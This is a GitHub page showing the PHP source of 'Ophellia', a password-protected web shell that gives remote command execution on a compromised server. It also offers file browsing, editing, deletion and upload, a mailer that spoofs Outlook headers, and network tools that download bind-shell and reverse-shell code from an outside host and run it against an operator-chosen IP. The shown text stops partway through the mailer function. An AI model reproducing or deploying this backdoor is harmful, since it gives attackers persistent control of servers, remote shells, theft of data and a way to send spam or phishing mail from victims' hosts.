-
-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathophellia.php
More file actions
1012 lines (910 loc) · 41.2 KB
/
ophellia.php
File metadata and controls
1012 lines (910 loc) · 41.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
declare (strict_types = 1);
/*
Ophellia v2.0.0 - 'HoneyComeBear'
copyright @elliottophellia
illegal use is prohibited
github.com/elliottophellia/ophellia
*/
// Configuration
const VERSION = '2.0.0-light';
// you can change theme by simply change version with -theme
// eg. VERSION = '2.0.0-dark';
const PASSWORD_HASH = '$2y$10$TfYHopECKw3K0fXuZvDZdOWWIbZVUg7C2QlO0Cf0/a0OruM3l4iR2'; // honeycomebear
// Use "<?php echo password_hash('your_new_password', PASSWORD_BCRYPT);" to generate a new password hash
// Or go to https://onlinephp.io/password-hash ($algo = PASSWORD_BCRYPT, $cost = 10)
// Utility functions
function hexToString(string $hex): string
{
return pack('H*', $hex);
}
function stringToHex(string $string): string
{
return bin2hex($string);
}
function safeFileWrite(string $filename, string $content): bool
{
return file_put_contents($filename, $content) !== false;
}
function verifyPassword(string $password): bool
{
return password_verify($password, PASSWORD_HASH);
}
function formatFileSize($bytes): string
{
$bytes = (float) $bytes; // Convert to float to handle large values
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= (1 << (10 * $pow));
return round($bytes, 2) . ' ' . $units[$pow];
}
function getLastModified(string $file): string
{
return date("d/m/y-H:i:s", filemtime($file));
}
function getFilePermissions(string $file): string
{
$perms = fileperms($file);
if ($perms === false) {
return "<span style='color: #bf616a;'>????</span>"; // Nord red for error
}
$info = '';
$info .= (($perms & 0xC000) == 0xC000) ? 's' : ((($perms & 0xA000) == 0xA000) ? 'l' : ((($perms & 0x8000) == 0x8000) ? '-' : 'd'));
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
$color = is_writable($file) ? '#a3be8c' : '#bf616a'; // Nord green if writable, Nord red if not
return "<span style='color: $color;'>$info</span>";
}
function getOwnerGroup(string $item): string
{
$owner = function_exists("posix_getpwuid") ? posix_getpwuid(fileowner($item))['name'] : fileowner($item);
$group = function_exists("posix_getgrgid") ? posix_getgrgid(filegroup($item))['name'] : filegroup($item);
return "$owner/$group";
}
function getFileType(string $file): string
{
return mime_content_type($file) ?: filetype($file) ?: 'Unknown';
}
function getFunctionalCmd(string $cmd): string
{
$funcs = ['shell_exec', 'exec', 'system', 'passthru', 'proc_open', 'popen'];
$obfuscated = base64_encode(serialize($funcs));
$deobfuscate = function ($x) {return unserialize(base64_decode($x));};
foreach ($deobfuscate($obfuscated) as $func) {
if (function_exists($func)) {
return obfuscatedExecution($func, $cmd);
}
}
return "No available function to execute command.";
}
function obfuscatedExecution(string $func, string $cmd): string
{
$encoded = base64_encode($cmd);
$decoded = base64_decode($encoded);
switch ($func) {
case 'shell_exec':
case 'exec':
return call_user_func($func, $decoded);
case 'system':
case 'passthru':
ob_start();
call_user_func($func, $decoded);
return ob_get_clean();
case 'proc_open':
return executeWithProc_open($decoded);
case 'popen':
return executeWithPopen($decoded);
default:
return "Unknown function: $func";
}
}
function executeWithProc_open(string $cmd): string
{
$spec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
$proc = call_user_func('proc_open', $cmd, $spec, $pipes);
if (is_resource($proc)) {
fclose($pipes[0]);
$out = stream_get_contents($pipes[1]);
$err = stream_get_contents($pipes[2]);
array_map('fclose', array_slice($pipes, 1));
proc_close($proc);
return $err ? "Error: $err" : $out;
}
return "Failed to execute command using proc_open.";
}
function executeWithPopen(string $cmd): string
{
$handle = call_user_func('popen', $cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
return $output;
}
return "Failed to execute command using popen.";
}
class Elliottophellia
{
private string $currentPath;
private array $get;
private array $post;
private array $files;
private string $selfFile;
public function __construct(array $get, array $post, array $files)
{
$this->get = $get;
$this->post = $post;
$this->files = $files;
$this->currentPath = hexToString($this->get['d'] ?? stringToHex(getcwd()));
$this->selfFile = $_SERVER['PHP_SELF'];
chdir($this->currentPath);
}
public function run(): void
{
if (!$this->isAuthenticated()) {
$this->showLoginForm();
return;
}
$this->showHeader();
if (isset($this->get['t'])) {
$tool = hexToString($this->get['t']);
switch ($tool) {
case 'network':
$this->showNetworkTools();
break;
case 'mailer':
$this->showMailerTools();
break;
case 'upload':
$this->showUploadTools();
break;
case 'info':
$this->showSystemInfo();
break;
case 'mkfile':
$this->showFileCreationTools();
break;
case 'mkdir':
$this->showDirectoryCreationTools();
break;
case 'command':
$this->showCommandExecutionTools();
break;
case 'cname':
$this->showRenameFileTools();
break;
case 'fedit':
$this->showFileEditTools();
break;
case 'fview':
$this->showFileViewTools();
break;
case 'download':
$this->downloadFile(hexToString($this->get['f']));
break;
default:
$this->showFileManager();
break;
}
} else {
$this->showFileManager();
}
$this->handleFileOperations();
$this->showFooter();
}
private function isAuthenticated(): bool
{
if (isset($this->post['pass'])) {
if (verifyPassword($this->post['pass'])) {
$_SESSION['authenticated'] = true;
}
}
return $_SESSION['authenticated'] ?? false;
}
private function showLoginForm(): void
{
echo '<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow" />
<title>WELCOME!</title>
<link rel="stylesheet" href="https://rei.my.id/assets/css/ophellia/v'.VERSION.'.css">
<link href="https://fonts.googleapis.com/css?family=Bree+Serif|Bungee+Shade" rel="stylesheet">
</head>
<body>
<div class="login-container">
<h1>WELCOME BACK!</h1>
<form action="" method="post">
<input type="password" name="pass" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>';
}
private function showHeader(): void
{
echo '<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>OPHELLIA v' . VERSION . '</title>
<link rel="stylesheet" href="https://rei.my.id/assets/css/ophellia/v'.VERSION.'.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css?family=Bree+Serif|Bungee+Shade" rel="stylesheet">
</head>
<body>
<header>
<h1 class="title">ELLIOTTOPHELLIA</h1>
<p class="uname">' . php_uname('a') . '</p>
</header>
<nav class="mobile-nav">
<button class="hamburger" aria-label="Menu">☰ MENU</button>
<ul class="nav-menu">
<li><a href="' . $this->selfFile . '"><i class="fas fa-home"></i> Home</a></li>
<li><a href="' . $this->selfFile . '?t=' . stringToHex('upload') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-upload"></i> Upload</a></li>
<li><a href="' . $this->selfFile . '?t=' . stringToHex('network') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-network-wired"></i> Network</a></li>
<li><a href="' . $this->selfFile . '?t=' . stringToHex('mailer') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-envelope"></i> Mailer</a></li>
<li><a href="' . $this->selfFile . '?t=' . stringToHex('info') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-info-circle"></i> Info</a></li>
<li><a href="' . $this->selfFile . '?exit"><i class="fas fa-sign-out-alt"></i> Logout</a></li>
</ul>
</nav>
<main>';
}
private function handleFileOperations(): void
{
if (isset($this->get['rfile']) && is_writable(hexToString($this->get['rfile']))) {
$this->removeFile(hexToString($this->get['rfile']));
}
if (isset($this->get['rmdir']) && is_writable(hexToString($this->get['rmdir']))) {
$this->removeDirectory(hexToString($this->get['rmdir']));
}
if (isset($this->get['exit'])) {
$this->exit();
}
}
private function removeFile(string $file): void
{
if (unlink($file)) {
echo "<dialog id='successModal' class='modal success'>
<p>File $file Deleted Successfully!</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to delete file $file.</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
private function removeDirectory(string $dir): void
{
if (rmdir($dir)) {
echo "<dialog id='successModal' class='modal success'>
<p>Directory $dir Deleted Successfully!</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to delete directory.</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
private function createFile(string $fileName, string $fileContent = ''): void
{
$fullPath = $this->currentPath . '/' . $fileName;
if (file_put_contents($fullPath, $fileContent) !== false) {
echo "<dialog id='successModal' class='modal success'>
<p>File '$fileName' Created Successfully!</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to create file '$fileName'.</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?t=" . stringToHex('mkfile') . "&d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
private function createDirectory(string $dir): void
{
if (mkdir($this->currentPath . "/" . $dir, 0777, true)) {
echo "<dialog id='successModal' class='modal success'>
<p>Directory $dir Created Successfully!</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to create directory $dir.</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
private function exit(): void
{
session_destroy();
echo '<script>window.location.href = "' . $this->selfFile . '";</script>';
}
private function downloadFile(string $file): void
{
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
private function executeNetworkTool(string $type, string $ip, string $port, string $pty, string $rby, string $bcc, string $bcp, string $bpc, string $bpp): void
{
switch ($type) {
case 'cb':
safeFileWrite('/tmp/cb.c', $bpc);
getFunctionalCmd('gcc -o /tmp/cb /tmp/cb.c');
getFunctionalCmd('/tmp/cb ' . $port . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep cb') . "</pre>";
break;
case 'pb':
safeFileWrite('/tmp/pb.pl', $bpp);
getFunctionalCmd('perl /tmp/pb.pl ' . $port . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep pb') . "</pre>";
break;
case 'cbc':
safeFileWrite('/tmp/cbc.c', $bcc);
getFunctionalCmd('gcc -o /tmp/cbc /tmp/cbc.c');
getFunctionalCmd('/tmp/cbc ' . $ip . ' ' . $port . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep cbc') . "</pre>";
break;
case 'pbc':
safeFileWrite('/tmp/pbc.pl', $bcp);
getFunctionalCmd('perl /tmp/pbc.pl ' . $ip . ' ' . $port . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep pbc') . "</pre>";
break;
case 'rbb':
safeFileWrite('/tmp/rbb.rb', $rby);
getFunctionalCmd('ruby /tmp/rbb.rb ' . $port . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep rbb') . "</pre>";
break;
case 'rbbc':
safeFileWrite('/tmp/rbbc.rb', $rby);
getFunctionalCmd('ruby /tmp/rbbc.rb ' . $port . ' ' . $ip . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep rbbc') . "</pre>";
break;
case 'pyb':
safeFileWrite('/tmp/pyb.py', $pty);
getFunctionalCmd('python /tmp/pyb.py ' . $port . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep pyb') . "</pre>";
break;
case 'pybc':
safeFileWrite('/tmp/pybc.py', $pty);
getFunctionalCmd('python /tmp/pybc.py ' . $port . ' ' . $ip . ' &');
echo "<pre>" . getFunctionalCmd('ps aux | grep pybc') . "</pre>";
break;
}
}
private function checkMailServerAccess(): bool
{
$testTo = 'test@example.com';
$testSubject = 'Test Mail Server Access';
$testMessage = 'This is a test message to check mail server access.';
$testHeaders = 'From: test@' . $_SERVER['SERVER_NAME'] . "\r\n" . 'X-Mailer: PHP/' . phpversion();
// Suppress warnings and notices during the mail() function call
$errorReporting = error_reporting();
error_reporting(E_ERROR);
$result = @mail($testTo, $testSubject, $testMessage, $testHeaders);
// Restore original error reporting level
error_reporting($errorReporting);
return $result;
}
private function sendSimpleMail(): void
{
$to = $this->extractEmail($this->post['to']);
$subject = $this->post['subject'];
$message = $this->post['message'];
$from = $this->extractEmail($this->post['from']);
$fromName = $this->extractName($this->post['from']);
$headers = "From: $fromName <$from>\r\n";
$headers .= "Reply-To: $from\r\n";
$headers .= "X-Priority: 1\r\n";
$headers .= "X-MSmail-Priority: High\r\n";
$headers .= "X-Mailer: Microsoft Office Outlook, Build 11.0.5510\r\n";
$headers .= "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n";
if (mail($to, $subject, $message, $headers)) {
echo "<dialog id='successModal' class='modal success'>
<p>Mail Sent Successfully!</p>
<button onclick='this.closest('dialog').close()'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to send mail.</p>
<button onclick='this.closest('dialog').close()'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
private function extractEmail(string $input): string
{
if (strpos($input, '<') !== false && strpos($input, '>') !== false) {
preg_match('/<(.+?)>/', $input, $matches);
return $matches[1] ?? $input;
}
return trim($input);
}
private function extractName(string $input): string
{
preg_match('/(.+?)\s*</', $input, $matches);
return trim($matches[1] ?? '');
}
private function handleFileUpload(): void
{
$uploadPath = $this->post['uploadtype'] == 1 ? $this->currentPath : $_SERVER['DOCUMENT_ROOT'];
$tmp = $this->files['upload']['tmp_name'];
$up = basename($this->files['upload']['name']);
if (move_uploaded_file($tmp, $uploadPath . "/" . $up)) {
echo "<dialog id='successModal' class='modal success'>
<p>File Uploaded successfully!</p>
<button onclick='this.closest('dialog').close()'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to upload file.</p>
<button onclick='this.closest('dialog').close()'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
private function showPathNavigation(): void
{
echo '<p class="file-manager-utils">';
$ps = preg_split("/(\\\|\/)/", $this->currentPath);
foreach ($ps as $k => $v) {
if ($k == 0 && $v == "") {
echo "<a href='?d=2f'>~</a>/";
continue;
}
if ($v == "") {
continue;
}
echo "<a href='?d=";
for ($i = 0; $i <= $k; $i++) {
echo stringToHex($ps[$i]);
if ($i != $k) {
echo "2f";
}
}
echo "'>{$v}</a>/";
}
echo '</p>';
}
private function showFileCreator(): void
{
echo '<p class="file-manager-utils">
[ <a href="' . $this->selfFile . '?t=' . stringToHex('mkfile') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-file-alt"></i> New File</a> ]
[ <a href="' . $this->selfFile . '?t=' . stringToHex('mkdir') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-folder-plus"></i> New Folder</a> ]
[ <a href="' . $this->selfFile . '?t=' . stringToHex('command') . '&d=' . stringToHex($this->currentPath) . '"><i class="fas fa-terminal"></i> Command</a> ]
</p>';
}
private function showFileManager(): void
{
echo '<section class="tool-section">
<h2>File Manager</h2>';
$this->showPathNavigation();
$this->showFileCreator();
echo '<table class="table-container">
<thead>
<tr>
<th>File Name</th>
<th>Actions</th>
<th>Size</th>
<th>Type</th>
<th>Permissions</th>
<th>Owner/Group</th>
<th>Last Modified</th>
</tr>
</thead>
<tbody>';
$files = scandir($this->currentPath);
$folders = [];
$regularFiles = [];
foreach ($files as $file) {
if (is_dir($this->currentPath . '/' . $file)) {
$folders[] = $file;
} else {
$regularFiles[] = $file;
}
}
// Display folders first
foreach ($folders as $folder) {
$fullPath = $this->currentPath . '/' . $folder;
if ($folder == "." || $folder == "..") {
$link = $folder == ".." ? stringToHex(dirname($this->currentPath)) : stringToHex($this->currentPath);
echo "<tr>
<td><img src='//rei.my.id/fldr.png' /> <b><a href='?d={$link}'>$folder</a></b></td>
<td colspan='6'></td>
</tr>";
} else {
$actions = "<i class='fa fa-fw fa-download nothing'></i> <i class='fa fa-fw fa-edit nothing'></i> <a href='" . $this->selfFile . "?t=" . stringToHex("cname") . "&oldname=" . stringToHex($folder) . "&d=" . stringToHex($this->currentPath) . "'><i class='fa fa-fw fa-pencil'></i></a> <a href='{$this->selfFile}?rmdir=" . stringToHex($folder) . "&d=" . stringToHex($this->currentPath) . "'><i class='fa fa-fw fa-trash'></i></a>";
echo "<tr>
<td><img src='//rei.my.id/fldr.png' /> <b><a href='{$this->selfFile}?d=" . stringToHex($fullPath) . "'>$folder</a></b></td>
<td>$actions</td>
<td>-</td>
<td>" . getFileType($fullPath) . "</td>
<td>" . getFilePermissions($fullPath) . "</td>
<td>" . getOwnerGroup($fullPath) . "</td>
<td>" . getLastModified($fullPath) . "</td>
</tr>";
}
}
// Then display files
foreach ($regularFiles as $file) {
$fullPath = $this->currentPath . '/' . $file;
$actions = "<a href='" . $this->selfFile . '?t=' . stringToHex('download') . '&f=' . stringToHex($file) . '&d=' . stringToHex($this->currentPath) . "'><i class='fa fa-fw fa-download'></i></a> <a href='{$this->selfFile}?t=" . stringToHex('fedit') . "&fedit=" . stringToHex($file) . "&d=" . stringToHex($this->currentPath) . "'><i class='fa fa-fw fa-edit'></i></a> <a href='" . $this->selfFile . "?t=" . stringToHex("cname") . "&oldname=" . stringToHex($file) . "&d=" . stringToHex($this->currentPath) . "'><i class='fa fa-fw fa-pencil'></i></a> <a href='{$this->selfFile}?rfile=" . stringToHex($file) . "&d=" . stringToHex($this->currentPath) . "'><i class='fa fa-fw fa-trash'></i></a>";
echo "<tr>
<td><img src='//rei.my.id/file.png' /> <a href='{$this->selfFile}?t=" . stringToHex('fview') . "&f=" . stringToHex($file) . "&d=" . stringToHex($this->currentPath) . "'>$file</a></td>
<td>$actions</td>
<td>" . formatFileSize(filesize($fullPath)) . "</td>
<td>" . getFileType($fullPath) . "</td>
<td>" . getFilePermissions($fullPath) . "</td>
<td>" . getOwnerGroup($fullPath) . "</td>
<td>" . getLastModified($fullPath) . "</td>
</tr>";
}
echo '</tbody></table></section>';
}
private function showFileViewTools(): void
{
$file = hexToString($this->get['f']);
$content = htmlspecialchars(file_get_contents($file));
echo '<section class="tool-section">
<h2>View File: ' . htmlspecialchars($file) . '</h2>
<form method="post" action="">
<div class="form-group">
<textarea rows="25" readonly>' . $content . '</textarea>
</div>
<button type="button" onclick="editFile()">Edit</button>
<button type="button" onclick="downloadFile()">Download</button>
<button type="button" onclick="goBack()">Back</button>
</form>
<script>
function goBack() {
window.location.href = "' . $this->selfFile . '?d=' . stringToHex($this->currentPath) . '";
}
function editFile() {
window.location.href = "' . $this->selfFile . '?t=' . stringToHex('fedit') . '&fedit=' . stringToHex($file) . '&d=' . stringToHex($this->currentPath) . '";
}
function downloadFile() {
window.location.href = "' . $this->selfFile . '?t=' . stringToHex('download') . '&f=' . stringToHex($file) . '&d=' . stringToHex($this->currentPath) . '";
}
</script>
</section>';
}
private function showFileEditTools(): void
{
$file = hexToString($this->get['fedit']);
$content = htmlspecialchars(file_get_contents($file));
echo '<section class="tool-section">
<h2>Edit File: ' . htmlspecialchars($file) . '</h2>
<form method="post" action="">
<div class="form-group">
<textarea name="content" rows="25">' . $content . '</textarea>
</div>
<button type="submit" name="save_edit">Save Changes</button>
<button type="button" onclick="cancelForm()">Cancel</button>
</form>
<script>
function cancelForm() {
window.location.href = "' . $this->selfFile . '?d=' . stringToHex($this->currentPath) . '";
}
</script>
</section>';
if (isset($this->post['save_edit'])) {
if (file_put_contents($file, $this->post['content']) !== false) {
echo "<dialog id='successModal' class='modal success'>
<p>File Edited Successfully!</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to edit file.</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
}
private function showRenameFileTools(): void
{
echo '<section class="tool-section">
<h2>Rename File: ' . hexToString($this->get['oldname']) . '</h2>
<form method="post" action="">
<input type="text" name="oldname" value="' . hexToString($this->get['oldname']) . '" style="display: none;" readonly>
<input type="text" name="newname" placeholder="New File Name" required>
<button type="submit">Rename File</button>
<button type="button" onclick="cancelForm()">Cancel</button>
</form>
<script>
function cancelForm() {
window.location.href = "' . $this->selfFile . "?d=" . stringToHex($this->currentPath) . '";
}
</script></section>';
if ($this->post['oldname'] && $this->post['newname']) {
if (isset($this->post['oldname'])) {
rename($this->post['oldname'], $this->post['newname']);
echo "<dialog id='successModal' class='modal success'>
<p>File Renamed Successfully!</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('successModal').showModal();</script>";
} else {
echo "<dialog id='errorModal' class='modal error'>
<p>Failed to rename file.</p>
<button onclick='this.closest('dialog').close(); window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';'>Close</button>
</dialog>";
echo "<script>document.getElementById('errorModal').showModal();</script>";
}
}
}
private function showFileCreationTools(): void
{
echo "<section class='tool-section'>
<h2>Create File</h2>
<form method='post' action=''>
<div class='form-group'>
<input type='text' id='fname' name='fname' placeholder='File Name' required>
</div>
<div class='form-group'>
<textarea id='ftext' name='ftext' rows='15' placeholder='File Content'></textarea>
</div>
<button type='submit' name='createfile'>Create File</button>
<button type='button' onclick='cancelForm()'>Cancel</button>
</form>
<script>
function cancelForm() {
window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';
}
</script>
</section>";
if (isset($this->post['createfile'])) {
$this->createFile($this->post['fname'], $this->post['ftext'] ?? '');
}
}
private function showDirectoryCreationTools(): void
{
echo "<section class='tool-section'>
<h2>Create Directory</h2>
<form method='post' action='' id='dirForm'>
<div class='form-group'>
<input type='text' id='dirname' name='dirname' placeholder='Directory Name' required>
</div>
<button type='submit' name='createdir'>Create Directory</button>
<button type='button' onclick='cancelForm()'>Cancel</button>
</form>
<script>
function cancelForm() {
window.location.href = '" . $this->selfFile . "?d=" . stringToHex($this->currentPath) . "';
}
</script>
</section>";
if (isset($this->post['createdir'])) {
$this->createDirectory($this->post['dirname']);
}
}
private function showNetworkTools(): void
{
$pty = file_get_contents('https://rei.my.id/back_connect/python.txt');
$rby = file_get_contents('https://rei.my.id/back_connect/ruby.txt');
$bcc = file_get_contents('https://rei.my.id/back_connect/c.txt');
$bcp = file_get_contents('https://rei.my.id/back_connect/perl.txt');
$bpc = file_get_contents('https://rei.my.id/bind_shell/c.txt');
$bpp = file_get_contents('https://rei.my.id/bind_shell/perl.txt');
echo '
<section class="tool-section">
<h2>Network Tools</h2>
<h3>Bind Shell</h3>
<form method="post" action="">
<p> IP : </p>
<input type="text" name="ip" value="' . gethostbyname($_SERVER['HTTP_HOST']) . '" readonly>
<p> Port : </p>
<input type="text" name="port" value="31337">
<p> Type : </p>
<select name="type">
<option value="cb">C</option>
<option value="pb">Perl</option>
<option value="rbb">Ruby</option>
<option value="pyb">Python</option>
</select>
<button type="submit">Execute</button>
</form>
<br/>
<h3>Reverse Shell</h3>
<form method="post" action="">
<p> IP : </p>
<input type="text" name="ip" value="">
<p> Port : </p>
<input type="text" name="port" value="31337">
<p> Type : </p>
<select name="type">
<option value="cbc">C</option>
<option value="pbc">Perl</option>
<option value="rbbc">Ruby</option>
<option value="pybc">Python</option>
</select>
<button type="submit">Execute</button>
</form>
</section>';
if (isset($this->post['type'])) {
$this->executeNetworkTool($this->post['type'], $this->post['ip'], $this->post['port'], $pty, $rby, $bcc, $bcp, $bpc, $bpp);
}
}
private function showMailerTools(): void
{
$mailServerAccessible = $this->checkMailServerAccess();
